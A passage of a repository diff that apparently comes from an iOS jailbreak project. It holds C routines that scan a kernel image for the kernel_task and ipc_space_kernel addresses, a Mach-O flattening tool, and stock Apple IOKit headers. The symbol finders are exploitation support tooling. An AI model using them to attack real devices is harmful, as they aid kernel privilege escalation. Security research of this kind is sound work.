#define ADR_LIT(instr) (((((int64_t)(instr) & 0xffffe0) << 40) >> 43) | (((instr) >> 29) & 3))
#define ADRP_LIT(instr) (ADR_LIT(instr) << 12)
#define ADD_LIT(instr) (((instr) & 0x3ffc00) >> 10)
static segment_t* ptr_segment(segment_t *segs, size_t numsegs, void *ptr)
{
for(size_t i = 0; i < numsegs; ++i)
{
if((char*)segs[i].buf <= (char*)ptr && &((char*)segs[i].buf)[segs[i].len] > (char*)ptr)
{
return &segs[i];
}
}
LOG("pointer out of range: " ADDR, (vm_address_t)ptr);
return NULL;
}
static vm_address_t ptr_to_vmem(segment_t *segs, size_t numsegs, void *ptr)
{
segment_t *seg = ptr_segment(segs, numsegs, ptr);
if(!seg)
{
return 0;
}
return seg->addr + ((char*)ptr - (char*)seg->buf);
}
static vm_address_t vmem_find_bytes(segment_t *segs, size_t numsegs, void *search, size_t len, size_t granularity, char *name)
{
for(size_t i = 0; i < numsegs; ++i)
{
for(size_t off = 0; off <= segs[i].len - len; off += granularity)
{
if(memcmp(&((char*)segs[i].buf)[off], search, len) == 0)
{
return segs[i].addr + off;
}
}
}
LOG("Failed to vmem_find_bytes: %s", name);
return 0;
}
static vm_address_t vmem_find_str(segment_t *segs, size_t numsegs, char *str)
{
return vmem_find_bytes(segs, numsegs, str, strlen(str) + 1, 1, str);
}
vm_address_t find_kernel_task(segment_t *text)
{
LOG("Looking for kernel_task...");
vm_address_t panic_info = vmem_find_str(text, 1, "aapl,panic-info");
LOG("\"aapl,panic-info\" at " ADDR "...", panic_info);
if(panic_info)
{
for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)
{
if((*ptr & 0x9f000000) == 0x10000000) // adr
{
vm_address_t pc = ptr_to_vmem(text, 1, ptr);
if(pc)
{
if(pc + ADR_LIT(*ptr) == panic_info) // adr Xn, "aapl,panic-info"
{
LOG("Found reference to \"aapl,panic-info\" at " ADDR, pc);
for(uint32_t *p = ptr - 1; p >= (uint32_t*)text->buf; --p)
{
if((*p & 0xffffffe0) == 0xd538d080) // mrs Xn, tpidr_el1
{
LOG("Last reference to tpidr_el1 before that is at " ADDR, ptr_to_vmem(text, 1, p));
size_t num_ldrs = 0;
uint32_t *last = NULL;
for(++p; p < ptr; ++p)
{
if((*p & 0xff000000) == 0x58000000) // ldr with PC-relative offset
{
last = p;
++num_ldrs;
}
}
if(num_ldrs == 1)
{
pc = ptr_to_vmem(text, 1, last);
if(pc)
{
vm_address_t ret = pc + LDR_LIT(*last);
LOG("Found kernel_task symbol at " ADDR, ret);
return ret;
}
}
else
{
LOG("Number of PC-relative ldr's between tpidr_el1 and panic-ref is != 1");
}
goto next; // "break" would trigger the message below
}
}
LOG("But found no reference to tpidr_el1 before that, looking for next reference to \"aapl,panic-info\"...");
next:;
}
}
}
}
}
LOG("Failed to find kernel_task");
return 0;
}
vm_address_t find_ipc_space_kernel(segment_t *text)
{
LOG("Looking for ipc_space_kernel...");
vm_address_t str = vmem_find_str(text, 1, "\"failed to create resume port\"");
LOG("\"\"failed to create resume port\"\" at " ADDR "...", str);
if(str)
{
// find either convert_task_suspension_token_to_port or task_suspend
for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)
{
if
(
(ptr[0] & 0x9f000000) == 0x90000000 && // adrp
(ptr[1] & 0xffc00000) == 0x91000000 // add with unshifted immediate
)
{
vm_address_t pc = ptr_to_vmem(text, 1, ptr);
if(pc)
{
if((pc & 0xfffffffffffff000) + ADRP_LIT(ptr[0]) + ADD_LIT(ptr[1]) == str) // ref to our string
{
LOG("Found reference to \"\"failed to create resume port\"\" at " ADDR, pc);
for(uint32_t *p = ptr - 1, count = 0; p >= (uint32_t*)text->buf; --p)
{
if(IS_RET(*p))
{
if(count == 0) // panic() lies after ret;, thus skip 2
{
++count;
}
else
{
++p;
LOG("Start of function is at " ADDR, ptr_to_vmem(text, 1, p));
for(count = 0; p < ptr; ++p) // find second bl
{
if(IS_BL(*p))
{
if(count == 0)
{
++count;
}
else
{
LOG("Second bl is at " ADDR, ptr_to_vmem(text, 1, p));
if
(
(p[-3] & 0x9f000000) == 0x90000000 && // adrp
(p[-2] & 0xffc00000) == 0x91000000 && // add with unshifted immediate
(p[-1] & 0xffc00000) == 0xf9400000 // ldr with immediate
)
{
pc = ptr_to_vmem(text, 1, p - 3);
if(pc)
{
vm_address_t ret = (pc & 0xfffffffffffff000) + ADRP_LIT(p[-3]) + ADD_LIT(p[-2]) + LDR_IMM(p[-1]);
LOG("Found ipc_space_kernel symbol at " ADDR, ret);
return ret;
}
}
else
{
LOG("Didn't find expected instructions before bl...");
}
goto next; // "break" would trigger the message below
}
}
}
LOG("But found no two bl; after that, looking for next reference to \"\"failed to create resume port\"\"...");
goto next;
}
}
}
LOG("But found no two ret; before that, looking for next reference to \"\"failed to create resume port\"\"...");
next:;
}
}
}
}
}
LOG("Failed to find ipc_space_kernel");
return 0;
}

View File

@ -0,0 +1,79 @@
//
// main.m
// flatten-macho
//
// Created by qwertyoruiop on 4/6/17.
// Copyright © 2017 qwertyoruiop. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <mach-o/loader.h>
#import <fcntl.h>
#import <unistd.h>
#import <sys/stat.h>
#import <sys/mman.h>
int main(int argc, const char * argv[]) {
if(argc != 3)
{
printf("usage: %s <input> <output>\n", argv[0]);
return -1;
}
int fd = open(argv[1], O_RDONLY);
int fd_w = open(argv[2], O_RDWR|O_CREAT|O_TRUNC, 0755);
char header[0x4000];
pread(fd, header, 0x4000, 0);
struct mach_header_64* mh = header;
uint64_t min = -1;
uint64_t max = 0;
struct load_command* lc = mh+1;
for (int i = 0; i < mh->ncmds; i++) {
if (lc->cmd == LC_SEGMENT_64)
{
struct segment_command_64* sg = lc;
if (strcmp(sg->segname, "__PAGEZERO") != 0) {
printf("segment %s\n", sg->segname);
if (sg->vmaddr < min) min = sg->vmaddr;
if (sg->vmaddr+sg->vmsize > max) max = sg->vmaddr+sg->vmsize;
}
}
lc = (((char*)lc)+lc->cmdsize);
}
printf("found base: %llx, max: %llx\n", min, max);
if(lseek(fd_w, max, SEEK_SET) == -1)
{
printf("seek failed\n");
return -1;
}
lc = mh+1;
for (int i = 0; i < mh->ncmds; i++) {
if (lc->cmd == LC_SEGMENT_64)
{
struct segment_command_64* sg = lc;
printf("mapping to %llx %llx %llx\n", sg->vmaddr, sg->fileoff, sg->filesize);
if (sg->filesize == 0) {
lc = (((char*)lc)+lc->cmdsize);
continue;
} // ignore pagezero
char* map = mmap(0, sg->vmsize, PROT_READ, MAP_ANON|MAP_PRIVATE, -1, 0);
if(mmap(map, sg->filesize, PROT_READ, MAP_FIXED|MAP_FILE|MAP_PRIVATE,fd,sg->fileoff) == MAP_FAILED)
{
printf("mmap failed\n");
return -1;
}
printf("seeking to %llx\n", sg->vmaddr-min);
lseek(fd_w, sg->vmaddr-min, SEEK_SET);
write(fd_w, map, sg->vmsize);
munmap(map, sg->vmsize);
}
lc = (((char*)lc)+lc->cmdsize);
}
return 0;
}

View File

@ -0,0 +1,169 @@
/*
* Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/*
* Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
*
* Common symbol definitions for IOKit.
*
* HISTORY
*
*/
#ifndef _IOKIT_IOKITKEYS_H
#define _IOKIT_IOKITKEYS_H
// properties found in the registry root
#define kIOKitBuildVersionKey "IOKitBuildVersion"
#define kIOKitDiagnosticsKey "IOKitDiagnostics"
// a dictionary keyed by plane name
#define kIORegistryPlanesKey "IORegistryPlanes"
#define kIOCatalogueKey "IOCatalogue"
// registry plane names
#define kIOServicePlane "IOService"
#define kIOPowerPlane "IOPower"
#define kIODeviceTreePlane "IODeviceTree"
#define kIOAudioPlane "IOAudio"
#define kIOFireWirePlane "IOFireWire"
#define kIOUSBPlane "IOUSB"
// registry ID number
#define kIORegistryEntryIDKey "IORegistryEntryID"
// IOService class name
#define kIOServiceClass "IOService"
// IOResources class name
#define kIOResourcesClass "IOResources"
// IOService driver probing property names
#define kIOClassKey "IOClass"
#define kIOProbeScoreKey "IOProbeScore"
#define kIOKitDebugKey "IOKitDebug"
// IOService matching property names
#define kIOProviderClassKey "IOProviderClass"
#define kIONameMatchKey "IONameMatch"
#define kIOPropertyMatchKey "IOPropertyMatch"
#define kIOPathMatchKey "IOPathMatch"
#define kIOLocationMatchKey "IOLocationMatch"
#define kIOParentMatchKey "IOParentMatch"
#define kIOResourceMatchKey "IOResourceMatch"
#define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch"
#define kIONameMatchedKey "IONameMatched"
#define kIOMatchCategoryKey "IOMatchCategory"
#define kIODefaultMatchCategoryKey "IODefaultMatchCategory"
// IOService default user client class, for loadable user clients
#define kIOUserClientClassKey "IOUserClientClass"
// key to find IOMappers
#define kIOMapperIDKey "IOMapperID"
#define kIOUserClientCrossEndianKey "IOUserClientCrossEndian"
#define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible"
#define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance"
// diagnostic string describing the creating task
#define kIOUserClientCreatorKey "IOUserClientCreator"
// IOService notification types
#define kIOPublishNotification "IOServicePublish"
#define kIOFirstPublishNotification "IOServiceFirstPublish"
#define kIOMatchedNotification "IOServiceMatched"
#define kIOFirstMatchNotification "IOServiceFirstMatch"
#define kIOTerminatedNotification "IOServiceTerminate"
// IOService interest notification types
#define kIOGeneralInterest "IOGeneralInterest"
#define kIOBusyInterest "IOBusyInterest"
#define kIOAppPowerStateInterest "IOAppPowerStateInterest"
#define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest"
#define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage"
// IOService interest notification types
#define kIOCFPlugInTypesKey "IOCFPlugInTypes"
// properties found in services that implement command pooling
#define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber)
// properties found in services that implement priority
#define kIOMaximumPriorityCountKey "IOMaximumPriorityCount" // (OSNumber)
// properties found in services that have transfer constraints
#define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber)
#define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber)
#define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber)
#define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber)
#define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber)
#define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber)
#define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber)
#define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber)
#define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber)
#define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber)
// properties found in services that wish to describe an icon
//
// IOIcon =
// {
// CFBundleIdentifier = "com.example.driver.example";
// IOBundleResourceFile = "example.icns";
// };
//
// where IOBundleResourceFile is the filename of the resource
#define kIOIconKey "IOIcon" // (OSDictionary)
#define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString)
#define kIOBusBadgeKey "IOBusBadge" // (OSDictionary)
#define kIODeviceIconKey "IODeviceIcon" // (OSDictionary)
// property of root that describes the machine's serial number as a string
#define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString)
// property of root that describes the machine's UUID as a string
#define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString)
// IODTNVRAM property keys
#define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
#define kIONVRAMSyncNowPropertyKey "IONVRAM-SYNCNOW-PROPERTY"
#define kIONVRAMActivateCSRConfigPropertyKey "IONVRAM-ARMCSR-PROPERTY"
#define kIODTNVRAMPanicInfoKey "aapl,panic-info"
// keys for complex boot information
#define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts
#define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString
#define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes
// keys for OS Version information
#define kOSBuildVersionKey "OS Build Version"
#endif /* ! _IOKIT_IOKITKEYS_H */

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,146 @@
/*
* Copyright (c) 1998-2002 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/*
* HISTORY
*/
/*
* Core IOReturn values. Others may be family defined.
*/
#ifndef __IOKIT_IORETURN_H
#define __IOKIT_IORETURN_H
#ifdef __cplusplus
extern "C" {
#endif
#include <mach/error.h>
typedef kern_return_t IOReturn;
#ifndef sys_iokit
#define sys_iokit err_system(0x38)
#endif /* sys_iokit */
#define sub_iokit_common err_sub(0)
#define sub_iokit_usb err_sub(1)
#define sub_iokit_firewire err_sub(2)
#define sub_iokit_block_storage err_sub(4)
#define sub_iokit_graphics err_sub(5)
#define sub_iokit_networking err_sub(6)
#define sub_iokit_bluetooth err_sub(8)
#define sub_iokit_pmu err_sub(9)
#define sub_iokit_acpi err_sub(10)
#define sub_iokit_smbus err_sub(11)
#define sub_iokit_ahci err_sub(12)
#define sub_iokit_powermanagement err_sub(13)
#define sub_iokit_hidsystem err_sub(14)
#define sub_iokit_scsi err_sub(16)
#define sub_iokit_usbaudio err_sub(17)
//#define sub_iokit_pccard err_sub(21)
#define sub_iokit_thunderbolt err_sub(29)
#define sub_iokit_platform err_sub(0x2A)
#define sub_iokit_audio_video err_sub(0x45)
#define sub_iokit_baseband err_sub(0x80)
#define sub_iokit_HDA err_sub(254)
#define sub_iokit_hsic err_sub(0x147)
#define sub_iokit_sdio err_sub(0x174)
#define sub_iokit_wlan err_sub(0x208)
#define sub_iokit_vendor_specific err_sub(-2)
#define sub_iokit_reserved err_sub(-1)
#define iokit_common_err(return) (sys_iokit|sub_iokit_common|return)
#define iokit_family_err(sub,return) (sys_iokit|sub|return)
#define iokit_vendor_specific_err(return) (sys_iokit|sub_iokit_vendor_specific|return)
#define kIOReturnSuccess KERN_SUCCESS // OK
#define kIOReturnError iokit_common_err(0x2bc) // general error
#define kIOReturnNoMemory iokit_common_err(0x2bd) // can't allocate memory
#define kIOReturnNoResources iokit_common_err(0x2be) // resource shortage
#define kIOReturnIPCError iokit_common_err(0x2bf) // error during IPC
#define kIOReturnNoDevice iokit_common_err(0x2c0) // no such device
#define kIOReturnNotPrivileged iokit_common_err(0x2c1) // privilege violation
#define kIOReturnBadArgument iokit_common_err(0x2c2) // invalid argument
#define kIOReturnLockedRead iokit_common_err(0x2c3) // device read locked
#define kIOReturnLockedWrite iokit_common_err(0x2c4) // device write locked
#define kIOReturnExclusiveAccess iokit_common_err(0x2c5) // exclusive access and
// device already open
#define kIOReturnBadMessageID iokit_common_err(0x2c6) // sent/received messages
// had different msg_id
#define kIOReturnUnsupported iokit_common_err(0x2c7) // unsupported function
#define kIOReturnVMError iokit_common_err(0x2c8) // misc. VM failure
#define kIOReturnInternalError iokit_common_err(0x2c9) // internal error
#define kIOReturnIOError iokit_common_err(0x2ca) // General I/O error
//#define kIOReturn???Error iokit_common_err(0x2cb) // ???
#define kIOReturnCannotLock iokit_common_err(0x2cc) // can't acquire lock
#define kIOReturnNotOpen iokit_common_err(0x2cd) // device not open
#define kIOReturnNotReadable iokit_common_err(0x2ce) // read not supported
#define kIOReturnNotWritable iokit_common_err(0x2cf) // write not supported
#define kIOReturnNotAligned iokit_common_err(0x2d0) // alignment error
#define kIOReturnBadMedia iokit_common_err(0x2d1) // Media Error
#define kIOReturnStillOpen iokit_common_err(0x2d2) // device(s) still open
#define kIOReturnRLDError iokit_common_err(0x2d3) // rld failure
#define kIOReturnDMAError iokit_common_err(0x2d4) // DMA failure
#define kIOReturnBusy iokit_common_err(0x2d5) // Device Busy
#define kIOReturnTimeout iokit_common_err(0x2d6) // I/O Timeout
#define kIOReturnOffline iokit_common_err(0x2d7) // device offline
#define kIOReturnNotReady iokit_common_err(0x2d8) // not ready
#define kIOReturnNotAttached iokit_common_err(0x2d9) // device not attached
#define kIOReturnNoChannels iokit_common_err(0x2da) // no DMA channels left
#define kIOReturnNoSpace iokit_common_err(0x2db) // no space for data
//#define kIOReturn???Error iokit_common_err(0x2dc) // ???
#define kIOReturnPortExists iokit_common_err(0x2dd) // port already exists
#define kIOReturnCannotWire iokit_common_err(0x2de) // can't wire down
// physical memory
#define kIOReturnNoInterrupt iokit_common_err(0x2df) // no interrupt attached
#define kIOReturnNoFrames iokit_common_err(0x2e0) // no DMA frames enqueued
#define kIOReturnMessageTooLarge iokit_common_err(0x2e1) // oversized msg received
// on interrupt port
#define kIOReturnNotPermitted iokit_common_err(0x2e2) // not permitted
#define kIOReturnNoPower iokit_common_err(0x2e3) // no power to device
#define kIOReturnNoMedia iokit_common_err(0x2e4) // media not present
#define kIOReturnUnformattedMedia iokit_common_err(0x2e5)// media not formatted
#define kIOReturnUnsupportedMode iokit_common_err(0x2e6) // no such mode
#define kIOReturnUnderrun iokit_common_err(0x2e7) // data underrun
#define kIOReturnOverrun iokit_common_err(0x2e8) // data overrun
#define kIOReturnDeviceError iokit_common_err(0x2e9) // the device is not working properly!
#define kIOReturnNoCompletion iokit_common_err(0x2ea) // a completion routine is required
#define kIOReturnAborted iokit_common_err(0x2eb) // operation aborted
#define kIOReturnNoBandwidth iokit_common_err(0x2ec) // bus bandwidth would be exceeded
#define kIOReturnNotResponding iokit_common_err(0x2ed) // device not responding
#define kIOReturnIsoTooOld iokit_common_err(0x2ee) // isochronous I/O request for distant past!
#define kIOReturnIsoTooNew iokit_common_err(0x2ef) // isochronous I/O request for distant future
#define kIOReturnNotFound iokit_common_err(0x2f0) // data was not found
#define kIOReturnInvalid iokit_common_err(0x1) // should never be seen
#ifdef __cplusplus
}
#endif
#endif /* ! __IOKIT_IORETURN_H */

View File

@ -0,0 +1,236 @@
/*
* Copyright (c) 1998-2012 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
#ifndef __IOKIT_IOTYPES_H
#define __IOKIT_IOTYPES_H
#ifndef IOKIT
#define IOKIT 1
#endif /* !IOKIT */
#include <mach/message.h>
#include <mach/vm_types.h>
#include <IOKit/IOReturn.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef NULL
#if defined (__cplusplus)
#define NULL 0
#else
#define NULL ((void *)0)
#endif
#endif
/*
* Simple data types.
*/
#include <stdbool.h>
//#include <libkern/OSTypes.h>
typedef UInt32 IOOptionBits;
typedef SInt32 IOFixed;
typedef UInt32 IOVersion;
typedef UInt32 IOItemCount;
typedef UInt32 IOCacheMode;
typedef UInt32 IOByteCount32;
typedef UInt64 IOByteCount64;
typedef UInt32 IOPhysicalAddress32;
typedef UInt64 IOPhysicalAddress64;
typedef UInt32 IOPhysicalLength32;
typedef UInt64 IOPhysicalLength64;
#if !defined(__arm__) && !defined(__i386__)
typedef mach_vm_address_t IOVirtualAddress;
#else
typedef vm_address_t IOVirtualAddress;
#endif
#if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL))
typedef IOByteCount64 IOByteCount;
#else
typedef IOByteCount32 IOByteCount;
#endif
typedef IOVirtualAddress IOLogicalAddress;
#if !defined(__arm__) && !defined(__i386__) && !(defined(__x86_64__) && !defined(KERNEL))
typedef IOPhysicalAddress64 IOPhysicalAddress;
typedef IOPhysicalLength64 IOPhysicalLength;
#define IOPhysical32( hi, lo ) ((UInt64) lo + ((UInt64)(hi) << 32))
#define IOPhysSize 64
#else
typedef IOPhysicalAddress32 IOPhysicalAddress;
typedef IOPhysicalLength32 IOPhysicalLength;
#define IOPhysical32( hi, lo ) (lo)
#define IOPhysSize 32
#endif
typedef struct
{
IOPhysicalAddress address;
IOByteCount length;
} IOPhysicalRange;
typedef struct
{
IOVirtualAddress address;
IOByteCount length;
} IOVirtualRange;
#if !defined(__arm__) && !defined(__i386__)
typedef IOVirtualRange IOAddressRange;
#else
typedef struct
{
mach_vm_address_t address;
mach_vm_size_t length;
} IOAddressRange;
#endif
/*
* Map between #defined or enum'd constants and text description.
*/
typedef struct {
int value;
const char *name;
} IONamedValue;
/*
* Memory alignment -- specified as a power of two.
*/
typedef unsigned int IOAlignment;
#define IO_NULL_VM_TASK ((vm_task_t)0)
/*
* Pull in machine specific stuff.
*/
//#include <IOKit/machine/IOTypes.h>
#ifndef MACH_KERNEL
#ifndef __IOKIT_PORTS_DEFINED__
#define __IOKIT_PORTS_DEFINED__
typedef mach_port_t io_object_t;
#endif /* __IOKIT_PORTS_DEFINED__ */
#include <device/device_types.h>
typedef io_object_t io_connect_t;
typedef io_object_t io_enumerator_t;
typedef io_object_t io_iterator_t;
typedef io_object_t io_registry_entry_t;
typedef io_object_t io_service_t;
#define IO_OBJECT_NULL ((io_object_t) 0)
#endif /* MACH_KERNEL */
// IOConnectMapMemory memoryTypes
enum {
kIODefaultMemoryType = 0
};
enum {
kIODefaultCache = 0,
kIOInhibitCache = 1,
kIOWriteThruCache = 2,
kIOCopybackCache = 3,
kIOWriteCombineCache = 4,
kIOCopybackInnerCache = 5
};
// IOMemory mapping options
enum {
kIOMapAnywhere = 0x00000001,
kIOMapCacheMask = 0x00000700,
kIOMapCacheShift = 8,
kIOMapDefaultCache = kIODefaultCache << kIOMapCacheShift,
kIOMapInhibitCache = kIOInhibitCache << kIOMapCacheShift,
kIOMapWriteThruCache = kIOWriteThruCache << kIOMapCacheShift,
kIOMapCopybackCache = kIOCopybackCache << kIOMapCacheShift,
kIOMapWriteCombineCache = kIOWriteCombineCache << kIOMapCacheShift,
kIOMapCopybackInnerCache = kIOCopybackInnerCache << kIOMapCacheShift,
kIOMapUserOptionsMask = 0x00000fff,
kIOMapReadOnly = 0x00001000,
kIOMapStatic = 0x01000000,
kIOMapReference = 0x02000000,
kIOMapUnique = 0x04000000,
kIOMapPrefault = 0x10000000,
kIOMapOverwrite = 0x20000000
};
/*! @enum Scale Factors
@discussion Used when a scale_factor parameter is required to define a unit of time.
@constant kNanosecondScale Scale factor for nanosecond based times.
@constant kMicrosecondScale Scale factor for microsecond based times.
@constant kMillisecondScale Scale factor for millisecond based times.
@constant kTickScale Scale factor for the standard (100Hz) tick.
@constant kSecondScale Scale factor for second based times. */
enum {
kNanosecondScale = 1,
kMicrosecondScale = 1000,
kMillisecondScale = 1000 * 1000,
kSecondScale = 1000 * 1000 * 1000,
kTickScale = (kSecondScale / 100)
};
enum {
kIOConnectMethodVarOutputSize = -3
};
/* compatibility types */
typedef unsigned int IODeviceNumber;
#ifdef __cplusplus
}
#endif
#endif /* ! __IOKIT_IOTYPES_H */

View File

@ -0,0 +1,163 @@
/*
* Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
/*
* Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
*
* HISTORY
*
*/
#ifndef __OS_OSMESSAGENOTIFICATION_H
#define __OS_OSMESSAGENOTIFICATION_H
#ifdef __cplusplus
extern "C" {
#endif
#include <mach/mach_types.h>
#include <device/device_types.h>
#include <IOKit/IOReturn.h>
enum {
kFirstIOKitNotificationType = 100,
kIOServicePublishNotificationType = 100,
kIOServiceMatchedNotificationType = 101,
kIOServiceTerminatedNotificationType = 102,
kIOAsyncCompletionNotificationType = 150,
kIOServiceMessageNotificationType = 160,
kLastIOKitNotificationType = 199,
// reserved bits
kIOKitNoticationTypeMask = 0x00000FFF,
kIOKitNoticationTypeSizeAdjShift = 30,
kIOKitNoticationMsgSizeMask = 3,
};
enum {
kOSNotificationMessageID = 53,
kOSAsyncCompleteMessageID = 57,
kMaxAsyncArgs = 16
};
enum {
kIOAsyncReservedIndex = 0,
kIOAsyncReservedCount,
kIOAsyncCalloutFuncIndex = kIOAsyncReservedCount,
kIOAsyncCalloutRefconIndex,
kIOAsyncCalloutCount,
kIOMatchingCalloutFuncIndex = kIOAsyncReservedCount,
kIOMatchingCalloutRefconIndex,
kIOMatchingCalloutCount,
kIOInterestCalloutFuncIndex = kIOAsyncReservedCount,
kIOInterestCalloutRefconIndex,
kIOInterestCalloutServiceIndex,
kIOInterestCalloutCount
};
// --------------
enum {
kOSAsyncRef64Count = 8,
kOSAsyncRef64Size = kOSAsyncRef64Count * ((int) sizeof(io_user_reference_t))
};
typedef io_user_reference_t OSAsyncReference64[kOSAsyncRef64Count];
struct OSNotificationHeader64 {
mach_msg_size_t size; /* content size */
natural_t type;
OSAsyncReference64 reference;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
unsigned char content[];
#else
unsigned char content[0];
#endif
};
#pragma pack(4)
struct IOServiceInterestContent64 {
natural_t messageType;
io_user_reference_t messageArgument[1];
};
#pragma pack()
// --------------
#if !KERNEL_USER32
enum {
kOSAsyncRefCount = 8,
kOSAsyncRefSize = 32
};
typedef natural_t OSAsyncReference[kOSAsyncRefCount];
struct OSNotificationHeader {
mach_msg_size_t size; /* content size */
natural_t type;
OSAsyncReference reference;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
unsigned char content[];
#else
unsigned char content[0];
#endif
};
#pragma pack(4)
struct IOServiceInterestContent {
natural_t messageType;
void * messageArgument[1];
};
#pragma pack()
#endif /* KERNEL_USER32 */
struct IOAsyncCompletionContent {
IOReturn result;
#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
void * args[] __attribute__ ((packed));
#else
void * args[0] __attribute__ ((packed));
#endif
};
#ifndef __cplusplus
typedef struct OSNotificationHeader OSNotificationHeader;
